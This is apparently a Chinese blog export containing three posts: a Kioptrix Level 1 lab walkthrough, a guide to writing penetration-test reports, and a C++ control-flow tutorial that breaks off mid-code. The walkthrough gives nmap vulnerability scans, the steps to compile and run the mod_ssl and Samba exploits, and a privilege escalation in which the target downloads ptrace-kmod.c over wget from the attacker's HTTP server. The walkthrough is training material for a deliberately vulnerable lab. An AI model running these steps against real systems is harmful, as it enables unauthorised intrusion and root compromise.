我的建议是没有必要汉化，因为目前很多OSCP的资料还是英文的比较权威，汉化后不一定能一步一步找着英文教材对应的软件名字，还有一些细节的按钮。但是如果你实在觉得看着英文难受，觉得中文界面学习更方便的话，可以使用dpkg-reconfigure locales命令选择按照汉化，然后重启，重启后会有提示框询问是否修改文件夹语言，记得一定要选择否，保留旧的英文名称，因为有一些安全工具，不支持中文路径，与其后期麻烦的改来改去纠结路径问题，不如全部保留英文路径。也建议在之后的学习中，保持起英文文件夹名字的习惯，用英文也好用拼音也好，总之要是英文字母的文件名。\n至此，一个基本的好用的Kali已经设置完毕，可以开始靶机练习了。\nKioptix Level 1 练习 https://www.vulnhub.com/entry/kioptrix-level-1-1,22/\nNmap扫描 输入ifconfig查看kali本机的网段。\n输入 nmap -sn kali的ip/24探查网段，实战过程是通过vpn链接，进去后能查看网段。或 nmap -p- kali的ip/24探查所有网段。 可以发现129有一个80端口，在kali浏览器中访问可以看到如下界面：\n接下来探查端口指纹\n1 nmap 192.168.139.129 -p 22,80,111,139,443,1024 -sV -sC -O --version-al 然后用漏洞扫描\n1nmap 192.168.139.129 -p 22,80,111,139,443,1024 --script=vuln 得到输出\n1┌──(kali㉿kali)-[~] 2└─$ nmap 192.168.139.129 -p 22,80,111,139,443,1024 --script=vuln 3Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-22 22:14 EST 4Stats: 0:00:06 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan 5NSE Timing: About 0.00% done 6Nmap scan report for 192.168.139.129 7Host is up (0.00025s latency). 8 9PORT STATE SERVICE 1022/tcp open ssh 1180/tcp open http 12|_http-stored-xss: Couldn\u0026#39;t find any stored XSS vulnerabilities. 13|_http-csrf: Couldn\u0026#39;t find any CSRF vulnerabilities. 14|_http-dombased-xss: Couldn\u0026#39;t find any DOM based XSS. 15|_http-trace: TRACE is enabled 16| http-enum: 17| /test.php: Test page 18| /icons/: Potentially interesting directory w/ listing on \u0026#39;apache/1.3.20\u0026#39; 19| /manual/: Potentially interesting directory w/ listing on \u0026#39;apache/1.3.20\u0026#39; 20|_ /usage/: Potentially interesting folder 21111/tcp open rpcbind 22139/tcp open netbios-ssn 23443/tcp open https 24|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug) 25| ssl-poodle: 26| VULNERABLE: 27| SSL POODLE information leak 28| State: VULNERABLE 29| IDs: CVE:CVE-2014-3566 BID:70574 30| The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other 31| products, uses nondeterministic CBC padding, which makes it easier 32| for man-in-the-middle attackers to obtain cleartext data via a 33| padding-oracle attack, aka the \u0026#34;POODLE\u0026#34; issue. 34| Disclosure date: 2014-10-14 35| Check results: 36| TLS_RSA_WITH_3DES_EDE_CBC_SHA 37| References: 38| https://www.imperialviolet.org/2014/10/14/poodle.html 39| https://www.openssl.org/~bodo/ssl-poodle.pdf 40| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566 41|_ https://www.securityfocus.com/bid/70574 42|_http-csrf: Couldn\u0026#39;t find any CSRF vulnerabilities. 43| ssl-dh-params: 44| VULNERABLE: 45| Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam) 46| State: VULNERABLE 47| IDs: CVE:CVE-2015-4000 BID:74733 48| The Transport Layer Security (TLS) protocol contains a flaw that is 49| triggered when handling Diffie-Hellman key exchanges defined with 50| the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker 51| to downgrade the security of a TLS session to 512-bit export-grade 52| cryptography, which is significantly weaker, allowing the attacker 53| to more easily break the encryption and monitor or tamper with 54| the encrypted stream. 55| Disclosure date: 2015-5-19 56| Check results: 57| EXPORT-GRADE DH GROUP 1 58| Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA 59| Modulus Type: Safe prime 60| Modulus Source: mod_ssl 2.0.x/512-bit MODP group with safe prime modulus 61| Modulus Length: 512 62| Generator Length: 8 63| Public Key Length: 512 64| References: 65| https://www.securityfocus.com/bid/74733 66| https://weakdh.org 67| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000 68| 69| Diffie-Hellman Key Exchange Insufficient Group Strength 70| State: VULNERABLE 71| Transport Layer Security (TLS) services that use Diffie-Hellman groups 72| of insufficient strength, especially those using one of a few commonly 73| shared groups, may be susceptible to passive eavesdropping attacks. 74| Check results: 75| WEAK DH GROUP 1 76| Cipher Suite: TLS_DHE_RSA_WITH_DES_CBC_SHA 77| Modulus Type: Safe prime 78| Modulus Source: mod_ssl 2.0.x/1024-bit MODP group with safe prime modulus 79| Modulus Length: 1024 80| Generator Length: 8 81| Public Key Length: 1024 82| References: 83|_ https://weakdh.org 84|_http-stored-xss: Couldn\u0026#39;t find any stored XSS vulnerabilities. 85| ssl-ccs-injection: 86| VULNERABLE: 87| SSL/TLS MITM vulnerability (CCS Injection) 88| State: VULNERABLE 89| Risk factor: High 90| OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h 91| does not properly restrict processing of ChangeCipherSpec messages, 92| which allows man-in-the-middle attackers to trigger use of a zero 93| length master key in certain OpenSSL-to-OpenSSL communications, and 94| consequently hijack sessions or obtain sensitive information, via 95| a crafted TLS handshake, aka the \u0026#34;CCS Injection\u0026#34; vulnerability. 96| 97| References: 98| http://www.cvedetails.com/cve/2014-0224 99| http://www.openssl.org/news/secadv_20140605.txt 100|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224 101|_http-dombased-xss: Couldn\u0026#39;t find any DOM based XSS. 102|_sslv2-drown: ERROR: Script execution failed (use -d to debug) 1031024/tcp open kdm 104MAC Address: 00:0C:29:3B:F8:BB (VMware) 105 106Host script results: 107|_smb-vuln-ms10-054: false 108| smb-vuln-cve2009-3103: 109| VULNERABLE: 110| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497) 111| State: VULNERABLE 112| IDs: CVE:CVE-2009-3103 113| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2, 114| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a 115| denial of service (system crash) via an \u0026amp; (ampersand) character in a Process ID High header field in a NEGOTIATE 116| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location, 117| aka \u0026#34;SMBv2 Negotiation Vulnerability.\u0026#34; 118| 119| Disclosure date: 2009-09-08 120| References: 121| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103 122|_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103 123|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14] 124|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14] 125 126Nmap done: 1 IP address (1 host up) scanned in 333.53 seconds 目录扫描 从Nmap扫描的结果来看，它提示以下几个文件目录，可能有洞。\n使用如下命令扫描目录\n1dirb http://192.168.139.129/ 看一圈泄露的目录后发现mod_ssl目录下似乎提示此漏洞可利用（靶机会这样提示，实战要自己猜自己挖）。且从之前的Nmap扫描结果中看出，SSL存在漏洞。\nSSL漏洞利用 80/443端口 Kali终端中输入以下命令，查找可用的攻击方式。\n1searchsploit mod_ssl 根据之前Nmap扫描的版本信息选择对应的攻击方式。可用的几个方式都试一遍。下载攻击方式，如果下载文件有损坏，可以到 https://www.exploit-db.com/ 网站下载对应源码。\n1searchsploit -m 47080.c 2sudo apt-get install libssl-dev # 安装依赖环境 3gcc -o ssl47080 47080.c -lcrypto # 编译源码 1 ./ssl47080 |grep \u0026#34;1.3.20\u0026#34; 筛选符合 Apache 1.3.20版本的工具\n靶机系统是RedHat，所以使用0x6a或0x6b。\n0x6a测试失败，改用0x6b，输入以下命令：\n1./ssl47080 0x6b 192.168.139.129 -c 40 提权为root 目前是使用apache账户登录shell，这个账户是用于apache服务的专用账户， 可以使用ls /bin查看目前账户可以使用的命令，可以发现只能使用一些基本命令，权限较低，我们想要完整的shell就要root账户，就要提权。\n现在本地攻击机下面下载提权脚本。\n1wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c 然后开启一个简单的http服务，提供给靶机用于下载提权脚本。\n1sudo python -m http.server 80 这个靶机好在可以使用wget命令下载提权脚本。如果wget用不了的情况，可以尝试用curl或ftp下载脚本。然后从之前47080进去的Apache账户的shell里运行以下命令：\n1wget http://192.168.139.128/ptrace-kmod.c 退出，然后再次重连，自动编译，就会获得root权限。如果重连后不是root，可以多试几次，或者更换47080.c文件。\n另一种提权的方式：\n（CVE-2003-0651）Apache RCE https://www.cnblogs.com/wsec/p/vulnhub0x01.html#3cve-2003-0651apache-rce\n这个67.c文件最好从网站下载，kali里下载的不全。尾号305的才是正确的文件。\n但是编译不出来。 Samba 漏洞利用139端口 https://medium.com/@MarkdeMoras/kioptrix-level-1-1-vulnhub-walkthrough-by-mark-de-moras-147002cc4853\n除了ssl漏洞，可以从之前的Nmap扫描结果发现也存在Samba漏洞。\n使用Nmap再次扫描靶机的网址。\n1 nmap -A -p- -T4 192.168.139.129 使用msf工具箱\n1msfconsole 2search scanner/smb 3use 16 4info 5set RHOST 192.168.139.129 这样就获取了samba的版本，退出msf，然后搜索samba的攻击方式，选择对应版本。下载，编译。\n1searchsploit samba 2.2.1a 2searchsploit -m multiple/remote/10.c 3gcc -o Samba 10.c 查看使用方式\n使用如下命令爆破进入，直接获得root权限。\n1./Samba -b 0 192.168.139.129 Samba缓存漏洞利用139端口 搜索通用版本的samba攻击方式，发现，还有例如“call_trans2open”远程缓冲区溢出（2）漏洞利用的方式。下载编译后查看使用方式。\nrpcbind 尝试 漏洞扫描的结果中还有111端口和1024端口的rpcbind服务，搜索了有如下方法，但是尝试失败。\nhttps://www.cnblogs.com/KUANTECH/p/17941528\n上面这篇文章也做过了尝试是失败的，所以rpc的漏洞就不尝试了。\n总结 找漏洞渗透的步骤：\nNmap 扫可能的漏洞和端口\n1nmap -sn kali的ip/24 2nmap 192.168.139.129 -p 22,80,111,139,443,1024 -sV -sC -O --version-al 3nmap 192.168.139.129 -p 22,80,111,139,443,1024 --script=vuln dirb扫目录\n观察可能的端口和应用\nsearchsploit 和msf搜索可用的攻击载荷\n1searchsploit xxx 2searchsploit -m 67.c 3--- 4msfconsole 5search xxx 6use 编号 7info 8set Rhost 192.168.139.129 9run 根据版本选择poc，编译，调试，打！\n关注公众号泷羽Sec-静安，后台回复找工具+Day2获取镜像和相关软件及POC。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-01-23T16:13:45Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day2-%E5%9C%A8%E7%BA%BF%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%BA%90%E5%92%8Ckali%E5%AE%89%E8%A3%85%E4%BD%BF%E7%94%A8/","title":"Day2 在线学习资源和Kali安装使用"},{"content":" 关注公众号泷羽Sec-静安，回复关键词找工具+WP获取本文分享的WP模板和工具\n师傅们在渗透测试过程中肯定要写WP和报告，这里分享我个人关于怎么快速写出格式整齐，内容完整详细，方便后期复现回溯的WP或者称“渗透测试报告”的经验。\n软件和工具 首先，记笔记的首选语言当然是 Markdown，以下是两个常用的 Markdown 编辑软件推荐：\n1. Vscode Vscode 配合 markdownlint 插件和 Image preview 插件，能让你高效编辑 Markdown 文件。markdownlint 插件自带的功能可以在你复制图片时自动将图片转存到当前文件夹，并自动转换为 Markdown 格式的图片引用。Image preview插件则可以在行号栏的左侧显示图片的缩略图，悬停时还能看到大图预览，这样就无需切换到左右预览模式，编辑 Markdown 更加便捷。如果你是团队合作，TODO Tree 插件非常实用。它能够在文档中标记待办事项，对于长时间的渗透测试，帮助你标记哪些部分还需要复测或复现，远比传统的书签管理更为高效。使用 Vscode 的另一个优势是，它不仅适合Markdown 编辑，还支持代码调试，你可以在同一个平台上同时处理不同任务，减少频繁切换工具的麻烦。\n2. Typora Typora 的最大优点就是它的 美观，简洁的界面和即时渲染的功能让编辑体验更加流畅。虽然 Typora 和 Vscode 都是通过 Pandoc 实现导出 Word 和 PDF 的功能，导出效果几乎一致，但 Typora 通过其优雅的界面和清爽的排版，能让你在长时间的安全研究中享受更多的视觉体验，缓解疲劳。毕竟，做网络安全工作已经够辛苦了，为什么不让编辑器也“好看”点呢？关于 Typora 的具体使用，我在之前的文章极客黑客的效率神器：Typora、Snipaste 与 Picgo 快速发布教程中已有详细分享。\n关注 泷羽Sec-静安 公众号，后台回复 找工具+20250115 获取相关软件\n渗透测试报告的写作方法 其次，最重要的一点是，请务必开启 Snipaste 软件的 自动保存功能。这个功能可以有效帮助你保存那些可能忘记保存的图片，尤其是在撰写报告时，涉及到带有 flag、路径等证据性截图的部分。在渗透测试过程中，随时按下 F1 键并回车，软件会自动保存截图，而不会影响你的进攻节奏或思路。完成攻击并收集到必要的资产后，你可以慢慢整理并编写报告，从之前保存的截图中挑选合适的证据，而无需在渗透时同时进行报告撰写。这不仅会拖慢进攻节奏，也可能被一些格式美观问题打断思路。\n在实际渗透过程中，我通常会在 VScode 中打开一个新的页面，简单写下报告的标题，接着加上一条分割线 ---，然后将相关的信息随时记录在分割线以下，不需要考虑格式是否美观。这些信息可以包括路径、网址、获取的密码、使用的进攻方式等，甚至可以放上几张有用的图片和截图，但不用刻意调整对齐和格式。简单来说，就像流水账一样，将所有信息往文档里丢就行。\n当进攻目标暂时完成或可以复测时，可以适当停下来，整理之前的草稿，将分割线下的信息总结到分割线之上。整理的时候记得从自动保存的文件夹里找合适的截图，证明你的攻击成果。我推荐按照如下格式进行整理：\n活动描述：描述漏洞或攻击场景。 系统名称：例如 XXX 系统（最好标明上下游系统关系，我个人通常使用 A \u0026gt; B 表示从 A 系统进入 B 系统，这样后续画攻击路径图时会更直观）。 目标单位：填入被攻击的单位名称，不是自己的单位。 网址：http://www.example.com/login.php 漏洞名称：例如 Windows 远程执行漏洞 或 CVE-2024-38077（如果有 CVE 编号，优先填写编号；如果没有 CVE 编号，使用最广泛的漏洞名称）。 **泄露资产：**公民个人信息XXX条，内网服务器用户名和密码XX条，域控主机XX台（得分点的关键，最直观的指标就是看你拿了多少条信息）。 待清理文件/路径：列出可能需要清理的文件或路径，便于后续复测。（就是说你木马放哪里了） 执行 PoC：（可选，如果使用了某个工具，需填写工具名称并附上截图；如果是自编 PoC，无论是 HTTP 请求头还是其他攻击载荷，都应完整写出 PoC，不能仅写关键路径，要将整个 PoC 内容写全）。 建议意见：关于漏洞修复的建议策略，选填，可以在最后编写。 在授权测试的场景中，除了自己撰写的 Markdown 文件，通常甲方或你的队长会提供一个 Word 模板作为参考。这个模板通常包含表格、标题、目录等格式。然而，我不建议在测试过程中直接在 Word 模板上修改或编写报告，因为 Word 的排版问题往往会成为干扰因素。例如，网址粘贴后可能会转行，导致格式错误；或者在复制粘贴图片时，会提示图片过大需要压缩，造成不必要的麻烦。\n更好的做法是，先使用上述的 Markdown 模板来写报告，完成后使用 Pandoc 将 Markdown 文件导出为 Word 格式。你可以使用以下命令将 Markdown 文件导出为 .docx 文件：\n1pandoc input.md -o output.docx 导出的 Word 文件可以上传到 WPS，利用其 AI 排版功能（请注意，高级别保密测试时不建议使用此功能）来调整格式。上传 Word 模板后，WPS 会自动根据模板的排版规则对导出的文件进行排版，生成符合模板要求的报告。\n此外，Word 模板通常还会要求绘制攻击路径图。如果你渗透了一个较大的内网，并通过突破的边界作为跳板在内网中横向移动，那么绘制一张清晰的攻击路径图显得尤为重要。这张图需要展示从哪个节点进入，接着又进入了哪个节点，然后是下一步进展到的新节点。\n如果你在 Markdown 编辑器中工作，我建议使用 Mermaid 语法 来简单描述攻击路径。VScode 和 Typora 都支持 Mermaid 语法，能够将其渲染为流程图，并支持将其保存为图片。如果攻击路径节点较为复杂或庞大，建议使用专业的流程图绘制工具，比如 draw.io 等，来绘制更清晰、专业的攻击路径图。\n例如，使用 Mermaid 语法可以创建一个简单的攻击路径流程图：\n1graph LR 2 A[外部攻击者] --\u0026gt; B[扫描开放端口] 3 B --\u0026gt; C[发现开放的 RDP 端口] 4 C --\u0026gt; D[暴力破解 RDP 密码] 5 D --\u0026gt; E[获得管理员权限] 6 E --\u0026gt; F[横向渗透到其他系统] 7 F --\u0026gt; G[执行恶意操作] 8 G --\u0026gt; H[清理痕迹] graph LR A[外部攻击者] --\u003e B[扫描开放端口] B --\u003e C[发现开放的 RDP 端口] C --\u003e D[暴力破解 RDP 密码] D --\u003e E[获得管理员权限] E --\u003e F[横向渗透到其他系统] F --\u003e G[执行恶意操作] G --\u003e H[清理痕迹]到这一步，渗透测试的报告撰写工作基本完成了。对于大多数红队队员来说，主要的任务还是攻破目标、执行测试，而不是花费大量时间在写一份美观的报告上。本文中提到的“美观漂亮”并不是指像老学究那样精雕细琢，而是指报告要便于不同部门的使用和理解。实际上，在渗透测试的实际工作中，重点是清晰、简洁、有效的传达测试结果，而不是追求格式的完美。\n在一些专业的测试场合，甲方或紫队会提供专用的测试监控软件，这些软件通常包括以下功能：监控摄像头、桌面截图、网络流量监控（特别是在涉及到保密测试时，需要注意避免连接外网），靶标单位发放（有些类似CTF赛事中的“放题”机制）、成果提交、非授权攻击行为提交等。更智能的是，许多此类工具会自动生成报告，并按节点组织，只需要简单填写相关内容（如复制之前的测试文字内容），软件就能自动生成结构化的报告。\n然而，即便是自动生成的报告，通常也需要经过多轮审核和修改。首先，队长或负责人会对报告进行初步审核，随后销售、财务、文员等人员也会参与审核，最后可能还会有专家审核。在这个过程中，报告的格式会被调整和美化，以确保它符合公司或甲方的需求，最终用于财务报账、开具发票等事务。所以，作为渗透测试人员，我们不必过于纠结报告的美观和格式，而应更专注于测试的本质和结果的准确性。\n总之，报告的结构、内容、清晰度是最重要的，格式问题可以交给后期的审批和修改过程来解决。最重要的是写清楚：网址、漏洞名称、泄露资产、待清理文件/路径、POC。\n日常靶机练习的WP写作方法 与上一段渗透测试报告的写法类似，只是不需要写目标单位，泄露资产和建议意见。以下是一个模板：\n活动描述：描述漏洞或攻击场景。\n靶机环境描述：例如 XXX 系统（最好标明靶机有什么特征，比如某端口开放，用了什么组件，方便以后复盘或者遇到相似情况，直接看曾经的WP参考了直接打）。\n网址：http://www.example.com/login.php\n漏洞名称：例如 Windows 远程执行漏洞 或 CVE-2024-38077（如果有 CVE 编号，优先填写编号；如果没有 CVE 编号，使用最广泛的漏洞名称）。\nflag：写flag的截图或者flag值（截图最好包含flag文件路径）\n执行 PoC：（可选，如果使用了某个工具，需填写工具名称并附上截图；如果是自编 PoC，无论是 HTTP 请求头还是其他攻击载荷，都应完整写出 PoC，不能仅写关键路径，要将整个 PoC 内容写全）。\n总结 总之，WP（工作报告）和渗透测试报告都是红队必备的技能，尽管它们在撰写过程中有所不同。WP通常是自己练习或测试时的记录，主要目的是为了学习和复盘，以便在未来的实战中遇到类似情况时，能够像参考菜谱一样迅速复现攻击手法。特别是在内网渗透中，靶机的标准性和容易程度往往比外网更高（内网里比靶机还靶机还标准的系统一抓一大把），因此在记录时应该尽可能详细，涵盖使用的工具、安装过程、攻击路径等细节。这类WP更多是为自己做的练习总结。\n而对于CTF比赛或考试中的WP，则不需要过于详细。在这种情况下，重点是突出得分点和核心攻击路径，而不是逐步描述工具的安装过程或攻击的每个细节。CTF WP的目的是展示如何攻破某个特定环节并获取flag，因此只需要聚焦于关键工具、攻击路径和最终的flag，不必关注其他冗余细节。\n渗透测试报告和CTF中的WP有些相似，都是针对甲方或考官的需求进行编写。报告的重点是展示你如何发现并利用漏洞，泄露了哪些数据，如何修复这些漏洞。此类报告不需要详细写出每一步的攻击细节，只需提供关键证据和漏洞分析，证明你作为红队在授权范围内成功渗透了目标系统，并给出相应的修复建议。重点是让甲方或考官了解漏洞的存在和影响，而不是“教会”他们如何防御，避免过多的细节（教会了甲方，饿死乙方）。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-01-22T16:13:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/0.jpg","permalink":"/post/%E5%A6%82%E4%BD%95%E5%86%99%E5%87%BA%E6%BC%82%E4%BA%AE%E7%9A%84wp%E6%8A%A5%E5%91%8A/","title":"快速上手渗透测试报告写作：从WP到甲方报告的一站式指南"},{"content":" 关注公众号，后台回复 找书+ C++Primer 获取C++相关电子书。\n选择结构 判断语句 C++ 编程语言提供了以下类型的判断语句。点击链接查看每个语句的细节。\n语句 描述 if 语句 一个 if 语句 由一个布尔表达式后跟一个或多个语句组成。 if\u0026hellip;else 语句 一个 if 语句 后可跟一个可选的 else 语句，else 语句在布尔表达式为假时执行。 嵌套 if 语句 您可以在一个 if 或 else if 语句内使用另一个 if 或 else if 语句。 switch 语句 一个 switch 语句允许测试一个变量等于多个值时的情况。 嵌套 switch 语句 您可以在一个 switch 语句内使用另一个 switch 语句。 1#include\u0026lt;iostream\u0026gt; 2using namespace std; 3 4int main() { 5 int x, y, z; 6 7 // 让用户输入 x, y, z 的值 8 cout \u0026lt;\u0026lt; \u0026#34;请输入 x 的值: \u0026#34;; 9 cin \u0026gt;\u0026gt; x; 10 cout \u0026lt;\u0026lt; \u0026#34;请输入 y 的值: \u0026#34;; 11 cin \u0026gt;\u0026gt; y; 12 cout \u0026lt;\u0026lt; \u0026#34;请输入 z 的值: \u0026#34;; 13 cin \u0026gt;\u0026gt; z; 14 15 // 单行 if 16 if (x \u0026lt; y) cout \u0026lt;\u0026lt; \u0026#34;x 小于 y\u0026#34; \u0026lt;\u0026lt; endl; 17 18 // 多行 if 19 if (x \u0026lt; y) { 20 cout \u0026lt;\u0026lt; \u0026#34;x 小于 y\u0026#34; \u0026lt;\u0026lt; endl; 21 cout \u0026lt;\u0026lt; \u0026#34;这是一个多行 if 语句\u0026#34; \u0026lt;\u0026lt; endl; 22 } 23 24 // 嵌套 if 25 if (x \u0026lt; y) { 26 if (y \u0026lt; z) { 27 cout \u0026lt;\u0026lt; \u0026#34;y 小于 z\u0026#34; \u0026lt;\u0026lt; endl; 28 } 29 else { 30 cout \u0026lt;\u0026lt; \u0026#34;y 不小于 z\u0026#34; \u0026lt;\u0026lt; endl; 31 } 32 } 33 else { 34 cout \u0026lt;\u0026lt; \u0026#34;x 不小于 y\u0026#34; \u0026lt;\u0026lt; endl; 35 } 36 37 cin.get(); // 使程序暂停，等待用户输入 38 return 0; 39} ? : 运算符（三目表达式同C） 我们已经在前面的章节中讲解了 条件运算符 ? :，可以用来替代 if\u0026hellip;else 语句。它的一般形式如下：\nExp1 ? Exp2 : Exp3; 其中，Exp1、Exp2 和 Exp3 是表达式。请注意，冒号的使用和位置。\n? 表达式的值是由 Exp1 决定的。如果 Exp1 为真，则计算 Exp2 的值，结果即为整个 ? 表达式的值。如果 Exp1 为假，则计算 Exp3 的值，结果即为整个 ? 表达式的值。\n1#include\u0026lt;iostream\u0026gt; 2using namespace std; 3 4int main() { 5 int x, y, z; 6 7 // 让用户输入 x, y, z 的值 8 cout \u0026lt;\u0026lt; \u0026#34;请输入 x 的值: \u0026#34;; 9 cin \u0026gt;\u0026gt; x; 10 cout \u0026lt;\u0026lt; \u0026#34;请输入 y 的值: \u0026#34;; 11 cin \u0026gt;\u0026gt; y; 12 cout \u0026lt;\u0026lt; \u0026#34;请输入 z 的值: \u0026#34;; 13 cin \u0026gt;\u0026gt; z; 14 15 // 使用三目运算符改写嵌套 if 16 cout \u0026lt;\u0026lt; (x \u0026lt; y ? (y \u0026lt; z ? \u0026#34;y 小于 z\u0026#34; : \u0026#34;y 不小于 z\u0026#34;) : \u0026#34;x 不小于 y\u0026#34;) \u0026lt;\u0026lt; endl; 17 18 19 cin.get(); // 使程序暂停，等待用户输入 20 return 0; 21} Switch结构 1#include\u0026lt;iostream\u0026gt; 2using namespace std; 3 4int main() { 5 int score; 6 7 while (true) { 8 // 让用户输入分数 9 cout \u0026lt;\u0026lt; \u0026#34;请输入分数（输入-1退出）: \u0026#34;; 10 cin \u0026gt;\u0026gt; score; 11 12 // 检查是否输入-1以退出循环 13 if (score == -1) { 14 break; 15 } 16 17 // 使用 switch 和嵌套 switch 判断分数等级 18 switch (score / 10) { 19 case 10: 20 case 9: 21 switch (score) { 22 case 100: 23 case 99: 24 cout \u0026lt;\u0026lt; \u0026#34;A++\u0026#34; \u0026lt;\u0026lt; endl; 25 break; 26 case 98: 27 case 97: 28 case 96: 29 case 95: 30 cout \u0026lt;\u0026lt; \u0026#34;A+\u0026#34; \u0026lt;\u0026lt; endl; 31 break; 32 default: 33 cout \u0026lt;\u0026lt; \u0026#34;A\u0026#34; \u0026lt;\u0026lt; endl; 34 break; 35 } 36 break; 37 case 8: 38 cout \u0026lt;\u0026lt; \u0026#34;B\u0026#34; \u0026lt;\u0026lt; endl; 39 break; 40 case 7: 41 cout \u0026lt;\u0026lt; \u0026#34;C\u0026#34; \u0026lt;\u0026lt; endl; 42 break; 43 case 6: 44 cout \u0026lt;\u0026lt; \u0026#34;D\u0026#34; \u0026lt;\u0026lt; endl; 45 break; 46 default: 47 cout \u0026lt;\u0026lt; \u0026#34;E\u0026#34; \u0026lt;\u0026lt; endl; 48 break; 49 } 50 } 51 52 return 0; 53} 循环结构 循环类型 C++ 编程语言提供了以下几种循环类型。点击链接查看每个类型的细节。\n循环类型 描述 while 循环 当给定条件为真时，重复语句或语句组。它会在执行循环主体之前测试条件。 for 循环 多次执行一个语句序列，简化管理循环变量的代码。 do\u0026hellip;while 循环 除了它是在循环主体结尾测试条件外，其他与 while 语句类似。 嵌套循环 您可以在 while、for 或 do..while 循环内使用一个或多个循环。 1while(condition) 2{ 3 statement(s); 4} 5 6for ( init; condition; increment ) // 均为空表示无限真值循环 7{ 8 statement(s); 9} 10 11 12do 13{ 14 statement(s); 15 16}while( condition ); 1#include\u0026lt;iostream\u0026gt; 2using namespace std; 3 4int main() { 5 int i; 6 7 // do-while 循环 8 i = 1; 9 cout \u0026lt;\u0026lt; \u0026#34;do-while 循环:\u0026#34; \u0026lt;\u0026lt; endl; 10 do { 11 cout \u0026lt;\u0026lt; i \u0026lt;\u0026lt; \u0026#34; \u0026#34;; 12 i++; 13 } while (i \u0026lt;= 5); 14 cout \u0026lt;\u0026lt; endl; 15 16 // while 循环 17 i = 1; 18 cout \u0026lt;\u0026lt; \u0026#34;while 循环:\u0026#34; \u0026lt;\u0026lt; endl; 19 while (i \u0026lt;= 5) { 20 cout \u0026lt;\u0026lt; i \u0026lt;\u0026lt; \u0026#34; \u0026#34;; 21 i++; 22 } 23 cout \u0026lt;\u0026lt; endl; 24 25 // for 循环 26 cout \u0026lt;\u0026lt; \u0026#34;for 循环:\u0026#34; \u0026lt;\u0026lt; endl; 27 for (i = 1; i \u0026lt;= 5; i++) { 28 cout \u0026lt;\u0026lt; i \u0026lt;\u0026lt; \u0026#34; \u0026#34;; 29 } 30 cout \u0026lt;\u0026lt; endl; 31 32 return 0; 33} 嵌套循环 1#include \u0026lt;iostream\u0026gt; 2using namespace std; 3 4int main() { 5 cout \u0026lt;\u0026lt; \u0026#34;99 乘法表：\u0026#34; \u0026lt;\u0026lt; endl; 6 7 for (int i = 1; i \u0026lt;= 9; i++) { 8 for (int j = 1; j \u0026lt;= i; j++) { 9 cout \u0026lt;\u0026lt; j \u0026lt;\u0026lt; \u0026#34; * \u0026#34; \u0026lt;\u0026lt; i \u0026lt;\u0026lt; \u0026#34; = \u0026#34; \u0026lt;\u0026lt; j * i \u0026lt;\u0026lt; \u0026#34;\\t\u0026#34;; 10 } 11 cout \u0026lt;\u0026lt; endl; 12 } 13 14 return 0; 15} 跳转语句-循环控制语句 循环控制语句更改执行的正常序列。当执行离开一个范围时，所有在该范围中创建的自动对象都会被销毁。\nC++ 提供了下列的控制语句。点击链接查看每个语句的细节。\n控制语句 描述 break 语句 终止 loop 或 switch 语句，程序流将继续执行紧接着 loop 或 switch 的下一条语句。 continue 语句 引起循环跳过主体的剩余部分，立即重新开始测试条件。 goto 语句 将控制转移到被标记的语句。但是不建议在程序中使用 goto 语句。 1#include \u0026lt;iostream\u0026gt; 2using namespace std; 3 4int main() { 5 cout \u0026lt;\u0026lt; \u0026#34;示例程序展示 break, continue 和 goto 的用法：\u0026#34; \u0026lt;\u0026lt; endl; 6 7 for (int i = 1; i \u0026lt;= 20; i++) { 8 if (i == 5) { 9 cout \u0026lt;\u0026lt; \u0026#34;遇到 5，使用 continue 跳过本次循环\u0026#34; \u0026lt;\u0026lt; endl; 10 continue; // 跳过本次循环，继续下一次循环 11 } 12 13 if (i == 10) { 14 cout \u0026lt;\u0026lt; \u0026#34;遇到 10，使用 break 退出当前循环\u0026#34; \u0026lt;\u0026lt; endl; 15 break; // 退出当前循环 16 } 17 18 cout \u0026lt;\u0026lt; \u0026#34;当前数字: \u0026#34; \u0026lt;\u0026lt; i \u0026lt;\u0026lt; endl; 19 } 20 21 // 使用 goto 跳转到标签 start2 22 cout \u0026lt;\u0026lt; \u0026#34;使用 goto 跳转到标签 start2\u0026#34; \u0026lt;\u0026lt; endl; 